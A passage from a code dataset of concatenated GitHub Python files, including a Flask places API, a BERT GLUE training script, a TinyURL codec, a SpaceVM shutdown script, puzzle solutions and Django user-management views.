clinic_info\n","repo_name":"shulinzhaozhao/OOP_Clinic","sub_path":"ClinicController.py","file_name":"ClinicController.py","file_ext":"py","file_size_in_byte":11456,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"15227108971","text":"\r\n# open file\r\nf = open(\"input00.txt\")\r\n\r\n# open image for read binary mode\r\nf = open(\"image.bmp\",'r+b')\r\n\r\n# use defalt encoding 'utf-8'\r\n# if we working file with text mode encoding type is highly recomend\r\n\r\nf = open(\"test.txt\",mode = 'r', encodnig = 'utf-8')","repo_name":"zpvk/python-learning","sub_path":"File_Hanling/file handling.py","file_name":"file handling.py","file_ext":"py","file_size_in_byte":262,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"37"} +{"seq_id":"21938944111","text":"#!/usr/bin/python3\n\"\"\"\nPlace view object that handles all default RESTFul API actions\n\"\"\"\nfrom api.v1.views import app_views\nfrom flask import abort, jsonify, make_response, request\nfrom models import storage\nfrom models.city import City\nfrom models.place import Place\nimport os\nimport requests\nimport json\n\n\n@app_views.route('/cities//places', methods=['GET'],\n strict_slashes=False)\ndef all_places(city_id):\n \"\"\"Retireve the list of places objects of a specified city\"\"\"\n city = storage.get(\"City\", city_id)\n if city is None:\n abort(404)\n return jsonify([place.to_dict() for place in city.places])\n\n\n@app_views.route('/places/', methods=['GET'],\n strict_slashes=False)\ndef get_place(place_id):\n \"\"\"get place information if place id is given\"\"\"\n place = storage.get(\"Place\", place_id)\n if place is None:\n abort(404)\n return jsonify(place.to_dict())\n\n\n@app_views.route('/places/', methods=['DELETE'],\n strict_slashes=False)\ndef delete_place(place_id):\n \"\"\"deletes a place based on it's place_id\"\"\"\n place = storage.get(\"Place\", place_id)\n if place is None:\n abort(404)\n place.delete()\n storage.save()\n return make_response(jsonify({}), 200)\n\n\n@app_views.route('/cities//places', methods=['POST'],\n strict_slashes=False)\ndef create_place(city_id):\n \"\"\"create a new place\"\"\"\n city = storage.get(\"City\", city_id)\n if city is None:\n abort(404)\n data = request.get_json()\n if not data:\n abort(400, \"Not a JSON\")\n if 'user_id' not in data:\n abort(400, \"Missing user_id\")\n user_id = data['user_id']\n if not storage.get(\"User\", user_id):\n abort(404)\n if 'name' not in data:\n abort(400, \"Missing name\")\n place = Place(**data)\n setattr(place, 'city_id', city_id)\n storage.new(place)\n storage.save()\n return make_response(jsonify(place.to_dict()), 201)\n\n\n@app_views.route('/places/', methods=['PUT'],\n strict_slashes=False)\ndef update_place(place_id):\n \"\"\"update the place object\"\"\"\n place = storage.get(\"Place\", place_id)\n if place is None:\n abort(404)\n if not request.get_json():\n abort(400, \"Not a JSON\")\n for key, value in request.get_json().items():\n if key not in ['id', 'user_id', 'city_id', 'created_at', 'updated_at']:\n setattr(place, key, value)\n place.save()\n return make_response(jsonify(place.to_dict()), 200)\n\n\n@app_views.route('/places_search', methods=['POST'], strict_slashes=False)\ndef places_search():\n \"\"\"Retrieves all Place objects having all listed amenities\"\"\"\n if request.get_json() is not None:\n params = request.get_json()\n states = params.get('states', [])\n cities = params.get('cities', [])\n amenities = params.get('amenities', [])\n amenity_objects = []\n for amenity_id in amenities:\n amenity = storage.get('Amenity', amenity_id)\n if amenity:\n amenity_objects.append(amenity)\n if states == cities == []:\n places = storage.all('Place').values()\n else:\n places = []\n for state_id in states:\n state = storage.get('State', state_id)\n state_cities = state.cities\n for city in state_cities:\n if city.id not in cities:\n cities.append(city.id)\n for city_id in cities:\n city = storage.get('City', city_id)\n for place in city.places:\n places.append(place)\n confirmed_places = []\n for place in places:\n place_amenities = place.amenities\n confirmed_places.append(place.to_dict())\n for amenity in amenity_objects:\n if amenity not in place_amenities:\n confirmed_places.pop()\n break\n return jsonify(confirmed_places)\n else:\n return make_response(jsonify({'error': 'Not a JSON'}), 400)\n","repo_name":"Dereje01/AirBnB_clone_v3","sub_path":"api/v1/views/places.py","file_name":"places.py","file_ext":"py","file_size_in_byte":4104,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"18070923164","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n# file: glue/train.py\n# description:\n# code for fine-tuning BERT on GLUE tasks.\n\nimport os\nimport re\nimport argparse\nimport logging\nfrom collections import namedtuple\nfrom utils.random_seed import set_random_seed\nset_random_seed(2333)\n\nimport torch\nimport torch.nn.functional as F\nfrom torch.utils.data import DataLoader, RandomSampler, SequentialSampler\nfrom torch.nn.modules import BCEWithLogitsLoss, CrossEntropyLoss\n\nfrom transformers import AdamW, AutoTokenizer, BertTokenizer, get_linear_schedule_with_warmup\n\nimport pytorch_lightning as pl\nfrom pytorch_lightning import Trainer\nfrom pytorch_lightning.callbacks.model_checkpoint import ModelCheckpoint\n\nfrom loss.focal_loss import FocalLoss\nfrom loss.dice_loss import DiceLoss\n# for mrpc\nfrom datasets.mrpc_dataset import MRPCDataset\nfrom datasets.mrpc_processor import MRPCProcessor\n# for qqp\nfrom datasets.qqp_dataset import QQPDataset\nfrom datasets.qqp_processor import QQPProcessor\n\nfrom datasets.truncate_dataset import TruncateDataset\nfrom metrics.classification_acc_f1 import ClassificationF1Metric\nfrom utils.get_parser import get_parser\nfrom models.model_config import BertForSequenceClassificationConfig\nfrom models.bert_classification import BertForSequenceClassification\n\n\nclass BertForGLUETask(pl.LightningModule):\n \"\"\"Model Trainer for GLUE tasks.\"\"\"\n def __init__(self, args: argparse.Namespace):\n \"\"\"initialize a model, tokenizer and config.\"\"\"\n super().__init__()\n if isinstance(args, argparse.Namespace):\n print(f\"DEBUG INFO -> save hyperparameters\")\n self.save_hyperparameters(args)\n self.args = args\n else:\n # eval mode\n TmpArgs = namedtuple(\"tmp_args\", field_names=list(args.keys()))\n self.args = args = TmpArgs(**args)\n\n self.model_path = args.bert_config_dir\n self.data_dir = args.data_dir\n self.loss_type = args.loss_type\n self.optimizer = args.optimizer\n self.debug = args.debug\n self.train_batch_size = self.args.train_batch_size\n self.eval_batch_size = self.args.eval_batch_size\n if self.args.task_name == \"mrpc\":\n self.num_classes = len(MRPCProcessor.get_labels()) if self.loss_type != \"dice\" else 1\n self.metric_accuracy = pl.metrics.Accuracy(num_classes=len(MRPCProcessor.get_labels()))\n elif self.args.task_name == \"qqp\":\n self.num_classes = len(QQPProcessor.get_labels()) if self.loss_type != \"dice\" else 1\n self.metric_accuracy = pl.metrics.Accuracy(num_classes=len(QQPProcessor.get_labels()))\n else:\n raise ValueError(\"the value of task_name should in the range of [mrpc, qqp]\")\n\n bert_config = BertForSequenceClassificationConfig.from_pretrained(self.model_path,\n num_labels=self.num_classes,\n hidden_dropout_prob=self.args.bert_hidden_dropout,)\n self.tokenizer = AutoTokenizer.from_pretrained(self.model_path, use_fast=False, do_lower_case=self.args.do_lower_case)\n self.model = BertForSequenceClassification.from_pretrained(self.model_path, config=bert_config)\n\n format = '%(asctime)s - %(name)s - %(message)s'\n logging.basicConfig(format=format, filename=os.path.join(self.args.output_dir, \"eval_result_log.txt\"),\n level=logging.INFO)\n self.result_logger = logging.getLogger(__name__)\n self.result_logger.setLevel(logging.INFO)\n self.result_logger.info(str(args.__dict__ if isinstance(args, argparse.ArgumentParser) else args))\n\n self.metric_f1 = ClassificationF1Metric(num_classes=self.num_classes)\n self.num_gpus = 1\n\n @staticmethod\n def add_model_specific_args(parent_parser):\n parser = argparse.ArgumentParser(parents=[parent_parser], add_help=False)\n # config of data\n parser.add_argument(\"--task_name\", type=str, default=\"mrpc\", choices=[\"mrpc\", \"qqp\"], help=\"The name of the task\")\n parser.add_argument(\"--max_seq_length\", type=int, default=128, help=\"The maximum total input sequence length after tokenization. Sequence longer than this will be truncated, sequences shorter will be padded.\")\n parser.add_argument(\"--pad_to_max_length\", action=\"store_false\", help=\"Whether to pad all samples to ' max_seq_length'.\")\n return parser\n\n def configure_optimizers(self,):\n \"\"\"prepare optimizer and lr scheduler (linear warmup and decay)\"\"\"\n no_decay = [\"bias\", \"LayerNorm.weight\"]\n optimizer_grouped_parameters = [\n {\n \"params\": [p for n, p in self.model.named_parameters() if not any(nd in n for nd in no_decay)],\n \"weight_decay\": self.args.weight_decay,\n },\n {\n \"params\": [p for n, p in self.model.named_parameters() if any(nd in n for nd in no_decay)],\n \"weight_decay\": 0.0,\n },\n ]\n\n if self.optimizer == \"adamw\":\n optimizer = AdamW(optimizer_grouped_parameters,\n betas=(0.9, 0.999), # according to RoBERTa paper\n lr=self.args.lr,\n eps=self.args.adam_epsilon, )\n else:\n # revisiting few-sample BERT Fine-tuning https://arxiv.org/pdf/2006.05987.pdf\n # https://github.com/asappresearch/revisit-bert-finetuning/blob/master/run_glue.py\n optimizer = torch.optim.AdamW(optimizer_grouped_parameters,\n lr=self.args.lr,\n eps=self.args.adam_epsilon,\n weight_decay=self.args.weight_decay)\n num_gpus = len([x for x in str(self.args.gpus).split(\",\") if x.strip()])\n t_total = (len(self.train_dataloader()) // (self.args.accumulate_grad_batches * num_gpus) + 1) * self.args.max_epochs\n warmup_steps = int(self.args.warmup_proportion * t_total)\n if self.args.lr_scheduler == \"onecycle\":\n scheduler = torch.optim.lr_scheduler.OneCycleLR(\n optimizer, max_lr=self.args.lr, pct_start=float(warmup_steps / t_total),\n final_div_factor=self.args.final_div_factor,\n total_steps=t_total, anneal_strategy='linear'\n )\n elif self.args.lr_scheduler == \"linear\":\n scheduler = get_linear_schedule_with_warmup(\n optimizer, num_warmup_steps=warmup_steps, num_training_steps=t_total\n )\n else:\n raise ValueError(\"lr_scheduler doesnot exists.\")\n\n return [optimizer], [{\"scheduler\": scheduler, \"interval\": \"step\"}]\n\n\n def forward(self, input_ids, token_type_ids, attention_mask):\n return self.model(input_ids, token_type_ids, attention_mask)\n\n\n def compute_loss(self, logits, labels):\n if self.loss_type == \"ce\":\n loss_fct = CrossEntropyLoss()\n loss = loss_fct(logits.view(-1, 2), labels.view(-1))\n elif self.loss_type == \"focal\":\n loss_fct = FocalLoss(gamma=self.args.focal_gamma, reduction=\"mean\")\n loss = loss_fct(logits.view(-1, 2), labels.view(-1))\n elif self.loss_type == \"dice\":\n loss_fct = DiceLoss(with_logits=True, smooth=self.args.dice_smooth, ohem_ratio=self.args.dice_ohem,\n alpha=self.args.dice_alpha, square_denominator=self.args.dice_square, reduction=\"mean\")\n loss = loss_fct(logits.view(-1, self.num_classes), labels)\n else:\n raise ValueError\n\n return loss\n\n def training_step(self, batch, batch_idx):\n tf_board_logs = {\"lr\": self.trainer.optimizers[0].param_groups[0]['lr']}\n\n input_ids, token_type_ids, attention_mask, labels = batch[\"input_ids\"], batch[\"token_type_ids\"], batch[\"attention_mask\"], batch[\"label\"]\n output_logits = self(input_ids, token_type_ids, attention_mask)\n loss = self.compute_loss(output_logits, labels)\n\n tf_board_logs[f\"loss\"] = loss\n return {\"loss\": loss, \"log\": tf_board_logs}\n\n def validation_step(self, batch, batch_idx):\n output = {}\n\n input_ids, token_type_ids, attention_mask, gold_labels = batch[\"input_ids\"], batch[\"token_type_ids\"], batch[\"attention_mask\"], batch[\"label\"]\n output_logits = self(input_ids, token_type_ids, attention_mask)\n loss = self.compute_loss(output_logits, gold_labels)\n pred_labels = self._transform_logits_to_labels(output_logits)\n stats_confusion_matrix = self.metric_f1.forward(pred_labels, gold_labels)\n batch_acc = self.metric_accuracy.forward(pred_labels, gold_labels)\n\n output[f\"val_loss\"] = loss\n output[f\"val_acc\"] = batch_acc\n output[f\"stats_confusion_matrix\"] = stats_confusion_matrix\n return output\n\n def validation_epoch_end(self, outputs, prefix=\"dev\"):\n avg_loss = torch.stack([x[\"val_loss\"] for x in outputs]).mean()\n avg_acc = torch.stack([x[\"val_acc\"] for x in outputs]).mean() / self.num_gpus\n tensorboard_logs = {\"val_loss\": avg_loss}\n\n confusion_matrix = torch.sum(torch.stack([x[f\"stats_confusion_matrix\"] for x in outputs], dim=0), 0,\n keepdim=False)\n precision, recall, f1 = self.metric_f1.compute_f1(confusion_matrix)\n\n tensorboard_logs[f\"precision\"] = precision\n tensorboard_logs[f\"recall\"] = recall\n tensorboard_logs[f\"f1\"] = f1\n tensorboard_logs[f\"acc\"] = avg_acc\n self.result_logger.info(f\"EVAL INFO -> current_epoch is: {self.trainer.current_epoch}, current_global_step is: {self.trainer.global_step} \")\n self.result_logger.info(f\"EVAL INFO -> valid_f1 is: {f1}; precision: {precision}, recall: {recall}; val_acc is: {avg_acc}\")\n\n return {\"val_loss\": avg_loss, \"val_log\": tensorboard_logs, \"val_f1\": f1, \"val_acc\": avg_acc}\n\n def test_step(self, batch, batch_idx):\n output = {}\n\n input_ids, token_type_ids, attention_mask, gold_labels = batch[\"input_ids\"], batch[\"token_type_ids\"], batch[\"attention_mask\"], batch[\"label\"]\n output_logits = self(input_ids, token_type_ids, attention_mask)\n pred_labels = self._transform_logits_to_labels(output_logits)\n\n stats_confusion_matrix = self.metric_f1.forward(pred_labels, gold_labels)\n batch_acc = self.metric_accuracy.forward(pred_labels, gold_labels)\n\n output[f\"stats_confusion_matrix\"] = stats_confusion_matrix\n output[f\"test_acc\"] = batch_acc\n return output\n\n def test_epoch_end(self, outputs, prefix=\"test\"):\n tensorboard_logs = {}\n avg_acc = torch.stack([x[\"test_acc\"] for x in outputs]).mean() / self.num_gpus\n\n confusion_matrix = torch.sum(torch.stack([x[f\"stats_confusion_matrix\"] for x in outputs], dim=0), 0,\n keepdim=False)\n precision, recall, f1 = self.metric_f1.compute_f1(confusion_matrix)\n\n tensorboard_logs[f\"test_precision\"] = precision\n tensorboard_logs[f\"test_recall\"] = recall\n tensorboard_logs[f\"test_f1\"] = f1\n tensorboard_logs[f\"test_acc\"] = avg_acc\n\n self.result_logger.info(f\"TEST INFO -> test_f1 is: {f1} precision: {precision}, recall: {recall}; test_acc is: {avg_acc}\")\n\n return {\"test_log\": tensorboard_logs, \"test_f1\": f1, \"test_acc\": avg_acc}\n\n def train_dataloader(self, ):\n if self.debug:\n return self.get_dataloader(prefix=\"train\", limit=12)\n\n return self.get_dataloader(prefix=\"train\")\n\n def val_dataloader(self, ):\n return self.get_dataloader(prefix=\"dev\")\n\n def test_dataloader(self, ):\n return self.get_dataloader(prefix=\"test\")\n\n def get_dataloader(self, prefix=\"train\", limit: int = None):\n \"\"\"read vocab and dataset files\"\"\"\n if self.args.task_name == \"mrpc\":\n dataset = MRPCDataset(self.args, self.tokenizer, mode=prefix)\n elif self.args.task_name == \"qqp\":\n dataset = QQPDataset(self.args, self.tokenizer, mode=prefix)\n else:\n raise ValueError(\"task_name should take the value of [mrpc, qqp]\")\n if limit is not None:\n dataset = TruncateDataset(dataset, limit)\n if prefix == \"train\":\n # define data_generator will help experiment reproducibility.\n data_generator = torch.Generator()\n data_generator.manual_seed(self.args.seed)\n data_sampler = RandomSampler(dataset, generator=data_generator)\n batch_size = self.train_batch_size\n else:\n data_sampler = SequentialSampler(dataset)\n batch_size = self.eval_batch_size\n\n dataloader = DataLoader(dataset=dataset,\n sampler=data_sampler,\n batch_size=batch_size,\n num_workers=self.args.workers,)\n\n return dataloader\n\n def _transform_logits_to_labels(self, output_logits):\n # output_logits -> [batch_size, num_labels]\n if self.args.loss_type != \"dice\":\n output_probs = F.softmax(output_logits, dim=-1)\n pred_labels = torch.argmax(output_probs, dim=1)\n else:\n output_probs = torch.sigmoid(output_logits)\n pred_labels = (output_probs > 0.5).view(-1).long()\n\n return pred_labels\n\ndef find_best_checkpoint_on_dev(output_dir: str, log_file: str = \"eval_result_log.txt\", only_keep_the_best_ckpt: bool = True):\n with open(os.path.join(output_dir, log_file)) as f:\n log_lines = f.readlines()\n\n F1_PATTERN = re.compile(r\"val_f1 reached \\d+\\.\\d* \\(best\")\n # val_f1 reached 0.00000 (best 0.00000)\n CKPT_PATTERN = re.compile(r\"saving model to \\S+ as top\")\n checkpoint_info_lines = []\n for log_line in log_lines:\n if \"saving model to\" in log_line:\n checkpoint_info_lines.append(log_line)\n # example of log line\n # Epoch 00000: val_f1 reached 0.00000 (best 0.00000), saving model to /data/xiaoya/outputs/0117/debug_5_12_2e-5_0.001_0.001_275_0.1_1_0.25/checkpoint/epoch=0.ckpt as top 20\n best_f1_on_dev = 0\n best_checkpoint_on_dev = \"\"\n for checkpoint_info_line in checkpoint_info_lines:\n current_f1 = float(\n re.findall(F1_PATTERN, checkpoint_info_line)[0].replace(\"val_f1 reached \", \"\").replace(\" (best\", \"\"))\n current_ckpt = re.findall(CKPT_PATTERN, checkpoint_info_line)[0].replace(\"saving model to \", \"\").replace(\n \" as top\", \"\")\n\n if current_f1 >= best_f1_on_dev:\n if only_keep_the_best_ckpt and len(best_checkpoint_on_dev) != 0:\n os.remove(best_checkpoint_on_dev)\n best_f1_on_dev = current_f1\n best_checkpoint_on_dev = current_ckpt\n\n return best_f1_on_dev, best_checkpoint_on_dev\n\ndef main():\n parser = get_parser()\n parser = BertForGLUETask.add_model_specific_args(parser)\n parser = Trainer.add_argparse_args(parser)\n args = parser.parse_args()\n\n task_model = BertForGLUETask(args)\n\n if len(args.pretrained_checkpoint) > 1:\n task_model.load_state_dict(torch.load(args.pretrained_checkpoint,\n map_location=torch.device(\"cpu\"))[\"state_dict\"])\n\n checkpoint_callback = ModelCheckpoint(\n filepath=args.output_dir,\n save_top_k=args.max_keep_ckpt,\n save_last=False,\n monitor=\"val_f1\",\n verbose=True,\n mode='max',\n period=-1)\n\n task_trainer = Trainer.from_argparse_args(\n args,\n checkpoint_callback=checkpoint_callback,\n deterministic=True\n )\n\n task_trainer.fit(task_model)\n\n # after training, use the model checkpoint which achieves the best f1 score on dev set to compute the f1 on test set.\n best_f1_on_dev, path_to_best_checkpoint = find_best_checkpoint_on_dev(args.output_dir, only_keep_the_best_ckpt=args.only_keep_the_best_ckpt_after_training)\n task_model.result_logger.info(\"=&\" * 20)\n task_model.result_logger.info(f\"Best F1 on DEV is {best_f1_on_dev}\")\n task_model.result_logger.info(f\"Best checkpoint on DEV set is {path_to_best_checkpoint}\")\n task_model.result_logger.info(\"=&\" * 20)\n\n\nif __name__ == \"__main__\":\n main()\n\n\n\n","repo_name":"ShannonAI/dice_loss_for_NLP","sub_path":"tasks/glue/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":16353,"program_lang":"python","lang":"en","doc_type":"code","stars":255,"dataset":"github-code","pt":"37"} +{"seq_id":"7834620600","text":"# 535. Encode and Decode TinyURL\n# DescriptionHintsSubmissionsDiscussSolution\n# Note: This is a companion problem to the System Design problem: Design TinyURL.\n# TinyURL is a URL shortening service where you enter a URL such as https://leetcode.com/problems/design-tinyurl and it returns a short URL such as http://tinyurl.com/4e9iAk.\n# \n# Design the encode and decode methods for the TinyURL service. There is no restriction on how your encode/decode algorithm should work. You just need to ensure that a URL can be encoded to a tiny URL and the tiny URL can be decoded to the original URL.\n# \n# Seen this question in a real interview before? \n# \n\n# 2018.03.10\n\nclass Codec:\n def __init__(self):\n self.shortToLong = {}\n self.longToShort = {}\n self.id = 1\n\n def encode(self, longUrl):\n \"\"\"Encodes a URL to a shortened URL.\n \n :type longUrl: str\n :rtype: str\n \"\"\"\n if longUrl in self.longToShort:\n return \"http://www.tinyurl.com/\" + self.longToShort[longUrl]\n else:\n self.id += 1\n key = str(hex(self.id))\n self.longToShort[longUrl] = key\n self.shortToLong[key] = longUrl\n return \"http://www.tinyurl.com/\" + key\n \n\n def decode(self, shortUrl):\n \"\"\"Decodes a shortened URL to its original URL.\n \n :type shortUrl: str\n :rtype: str\n \"\"\"\n key = shortUrl.split(\"http://www.tinyurl.com/\")[1]\n return self.shortToLong[key]\n\n","repo_name":"yihanc/LC","sub_path":"PY/535_encode_and_decode_tinyurl.py","file_name":"535_encode_and_decode_tinyurl.py","file_ext":"py","file_size_in_byte":1517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"41661093366","text":"import requests\nimport os\n\nkey = os.environ.get('SECRET_KEY')\naddress = '192.168.12.105'\n\nheader = {'Authorization': f'jwt {key}'}\n\nraw_data_vm = requests.get(\n f'http://{address}/api/domains', headers=header)\nVMs = []\n\nif raw_data_vm.status_code == 200:\n data_vm = raw_data_vm.json()\n print('OK')\n number_of_VM = data_vm['count']\n\n for i in range(number_of_VM):\n if (not data_vm['results'][i]['template']):\n VMs.append(data_vm['results'][i]['verbose_name'])\n\n print('Список виртуальных машин:')\n for i in range(len(VMs)):\n print(i + 1, \" \", VMs[i])\nelse:\n print('Huston, we have a problem!')\n\nuser_choice = int(input('Введите номер виртуальной машины для выключения: '))\nid = data_vm['results'][user_choice - 1]['id']\n\npoweroff = requests.post(f'http://{address}/api/domains/{id}/shutdown/', headers=header)\nif poweroff.status_code == 200:\n print('OK')\nelse:\n print('Huston, we have a problem!')\n\nuser_choice3 = int(input('Включить ВМ? 1 - да, 2 - нет: '))\n\nif user_choice3 == 1:\n startvm = requests.post(f'http://{address}/api/domains/{id}/start/', headers=header)\n if startvm.status_code == 200:\n print('OK')\n else:\n print('Huston, we have a problem!')\n\n\n\n","repo_name":"starostinanatalie/SpaceVMAPIscripts","sub_path":"poweroffvm.py","file_name":"poweroffvm.py","file_ext":"py","file_size_in_byte":1324,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"30665067454","text":"# -*- coding: utf-8 -*-\n\n'''\nThe cube, 41063625 (3453), can be permuted to produce two other cubes: 56623104 (3843) and 66430125 (4053). In fact,\n41063625 is the smallest cube which has exactly three permutations of its digits which are also cube.\n\nFind the smallest cube for which exactly five permutations of its digits are cube.\n'''\n\n\ndef main():\n cubes = [str(n ** 3) for n in range(int(1e5))]\n perms = {}\n for cube in cubes:\n key_from_digits = ''.join(sorted(cube))\n perms[key_from_digits] = perms.get(key_from_digits, []) + [cube]\n return min([min(map(int, cube_list)) for key, cube_list in list(perms.items()) if len(cube_list) == 5])\n\n\nif __name__ == '__main__':\n print(main()) # 343 msec\n","repo_name":"adrienbrunet/EulerProject","sub_path":"problem_062.py","file_name":"problem_062.py","file_ext":"py","file_size_in_byte":727,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"43749195113","text":"# -*- coding: utf-8 -*-\n\n# ***************************\n# Реализовать функцию car_capacity, принимающую на вход количество человек,\n# и возвращающее количество легковых автомобилей, нужных для перевозки заданного количества человек, при условии\n# что в одном автомобиле помещается не более 5 человек.\n# ***************************\nimport math\n\n\ndef car_capacity(persons: int) -> int:\n \"\"\"\n car_capacity(persons)\n returns number of cars, for transfer number of persons needed. One car capacity is 5 pers.\n\n :param persons: int\n :return: int\n \"\"\"\n n = persons / 5\n if n % 5 != 0:\n return math.ceil(n)\n else:\n return n\n\n3","repo_name":"cherrydan/python-for-work","sub_path":"car_capacity/car_capacity.py","file_name":"car_capacity.py","file_ext":"py","file_size_in_byte":849,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"42209751212","text":"def backtracking(idx, order, arr, c):\n arr += order[idx]\n\n if len(arr) == c:\n arr = \"\".join(sorted(arr))\n if arr not in cases[c].keys():\n cases[c][arr] = 0\n cases[c][arr] += 1\n\n for i in range(idx+1, len(order)):\n backtracking(i, order, arr, c)\n\n\ndef solution(orders, course):\n answer = []\n\n global cases\n cases = {}\n for c in course:\n cases[c] = {}\n\n # 순열 찾기\n for order in orders:\n for c in course:\n for i in range(len(order)-c+1):\n backtracking(i, order, \"\", c)\n\n # 각 코스별 최다 카운트 구하기\n for c in course:\n max_cnt = 0\n max_cnt_key = []\n\n for k in cases[c].keys():\n if cases[c][k] > max_cnt:\n max_cnt = cases[c][k]\n max_cnt_key = [k]\n elif cases[c][k] == max_cnt:\n max_cnt_key.append(k)\n\n # 2명 이상인지 확인\n if max_cnt >= 2:\n answer.extend(max_cnt_key)\n\n return sorted(answer)\n\n\nexamples = [\n [[\"ABCFG\", \"AC\", \"CDE\", \"ACDE\", \"BCFG\", \"ACDEH\"], [2,3,4], [\"AC\", \"ACDE\", \"BCFG\", \"CDE\"]],\n [[\"ABCDE\", \"AB\", \"CD\", \"ADE\", \"XYZ\", \"XYZ\", \"ACD\"], [2,3,5], [\"ACD\", \"AD\", \"ADE\", \"CD\", \"XYZ\"]],\n [[\"XYZ\", \"XWY\", \"WXA\"], [2,3,4], [\"WX\", \"XY\"]]\n]\nfor orders, course, result in examples:\n print(solution(orders, course) == result)","repo_name":"ssoso27/Smoothie2","sub_path":"pythAlgo/kakao/2021blind/02-2.py","file_name":"02-2.py","file_ext":"py","file_size_in_byte":1392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"29444444919","text":"# ##############################################################################\n# This solution for codewars kata was written by Jakub Cervinka. #\n# Kata name is sum_of_pairs.py #\n# Date: 14.11.20 23:56 #\n# ##############################################################################\n\nimport pytest\n\npytestmark = pytest.mark.skip('already solved')\n\n\"\"\"Given a list of integers and a single sum value, return the first two values (parse from the left please) in order \nof appearance that add up to form the sum. \"\"\"\n\n\ndef compute(num_list, sum_val):\n complements = set()\n for num in num_list:\n if num in complements:\n return [sum_val - num, num]\n complements.add(sum_val - num)\n return None\n\n\n# put arguments and expected results here\nARGS_RESULTS = [\n (([11, 3, 7, 5], 10), [3, 7]),\n (([4, 3, 2, 3, 4], 6), [4, 2]),\n (([0, 0, -2, 3], 2), None),\n (([10, 5, 2, 3, 7, 5], 10), [3, 7])\n ]\n\n\n@pytest.mark.parametrize(\n ('input_args', 'expected'),\n ARGS_RESULTS,\n )\ndef test(input_args, expected) -> None:\n assert compute(*input_args) == expected\n\n\ndef main() -> int:\n for args, result in ARGS_RESULTS:\n print(compute(*args))\n return 0\n\n\nif __name__ == '__main__':\n exit(main())\n","repo_name":"JakubDotPy/codewars","sub_path":"katas/sum_of_pairs.py","file_name":"sum_of_pairs.py","file_ext":"py","file_size_in_byte":1371,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"72949673707","text":"from django.shortcuts import render, redirect\n\n# Create your views here.\nfrom django.http import HttpResponse\nfrom .models import *\nfrom .forms import *\nfrom django.db import transaction\nfrom django.contrib.auth.decorators import login_required\nimport pandas as pd\n\n@login_required\n@transaction.atomic\ndef user_form(request):\n empresa = get_empresa(request)\n user_form = UserForm()\n usuario_form = UsuarioForm()\n if request.method == 'POST':\n user_form = UserForm(request.POST)\n usuario_form = UsuarioForm(request.POST, request.FILES)\n if usuario_form.is_valid() and user_form.is_valid():\n user = user_form.save(commit=False)\n usuario = usuario_form.save(commit=False)\n user.set_password(usuario.cedula)\n user.save()\n usuario.empresa = empresa\n usuario.user = user\n usuario.save()\n groups = user_form.cleaned_data['groups']\n for rol in groups:\n rol.user_set.add(user)\n return redirect('usuarios:usuarios_list')\n else:\n context = {\n 'title': \"Crear Usuario\",\n 'usuario_form':usuario_form,\n 'user_form':user_form,\n }\n return render(request, \"usuarios/usuario_form.html\", context)\n context = {\n 'title': \"Crear Usuario\",\n 'usuario_form':usuario_form,\n 'user_form':user_form,\n }\n return render(request, \"usuarios/usuario_form.html\", context)\n\ndef usuarios_list(request):\n empresa = get_empresa(request)\n usuarios = Usuario.objects.filter(empresa=empresa)\n context = {\n 'usuarios': usuarios\n }\n return render(request, \"usuarios/usuarios_list.html\", context)\n\n@login_required\ndef get_empresa(request):\n usuario = Usuario.objects.get(user=request.user)\n empresa = Empresa.objects.get(pk=usuario.empresa.pk)\n return empresa\n \n@login_required\n@transaction.atomic\ndef user_edit(request, pk):\n empresa = get_empresa(request)\n usuario_object = Usuario.objects.get(pk=pk)\n user_form = UserForm(instance=usuario_object.user)\n usuario_form = UsuarioForm(instance = usuario_object)\n if request.method == 'POST':\n user_form = UserForm(request.POST, instance=usuario_object.user)\n usuario_form = UsuarioForm(request.POST, request.FILES, instance=usuario_object)\n if usuario_form.is_valid() and user_form.is_valid():\n user = user_form.save()\n usuario = usuario_form.save()\n groups = user_form.cleaned_data['groups']\n for rol in groups:\n rol.user_set.add(user)\n return redirect('usuarios:usuarios_list')\n else:\n context = {\n 'title': \"Editar Usuario\",\n 'usuario_form':usuario_form,\n 'user_form':user_form,\n }\n return render(request, \"usuarios/usuario_form.html\", context)\n context = {\n 'title': \"Editar Usuario\",\n 'usuario_form':usuario_form,\n 'user_form':user_form,\n }\n return render(request, \"usuarios/usuario_form.html\", context)\n\n@login_required\n@transaction.atomic\ndef user_delete(request, pk):\n usuario = Usuario.objects.get(pk=pk)\n user = User.objects.get(pk=usuario.user.pk)\n if request.method == 'POST':\n usuario.delete()\n user.delete()\n return redirect('usuarios:usuarios_list')\n context = {\n 'title':\"Eliminar Usuario\",\n 'object_delete': usuario,\n }\n return render(request, \"usuarios/usuario_delete.html\", context)\n\n@login_required\ndef clientes_list(request):\n clientes = Cliente.objects.all()\n context = {\n 'clientes': clientes\n }\n return render(request, \"usuarios/clientes_list.html\", context)\n\n@login_required\n@transaction.atomic\ndef cliente_form(request):\n empresa = get_empresa(request)\n cliente_form = ClienteForm()\n if request.method == 'POST':\n cliente_form = ClienteForm(request.POST)\n if cliente_form.is_valid():\n cliente = cliente_form.save()\n return redirect('usuarios:clientes_list')\n else:\n context = {\n 'title': \"Crear Cliente\",\n 'cliente_form':cliente_form,\n }\n return render(request, \"usuarios/cliente_form.html\", context)\n context = {\n 'title': \"Crear Cliente\",\n 'cliente_form':cliente_form,\n }\n return render(request, \"usuarios/cliente_form.html\", context)\n\n@login_required\n@transaction.atomic\ndef cliente_edit(request, pk):\n empresa = get_empresa(request)\n cliente_object = Cliente.objects.get(pk=pk)\n cliente_form = ClienteForm(instance=cliente_object)\n if request.method == 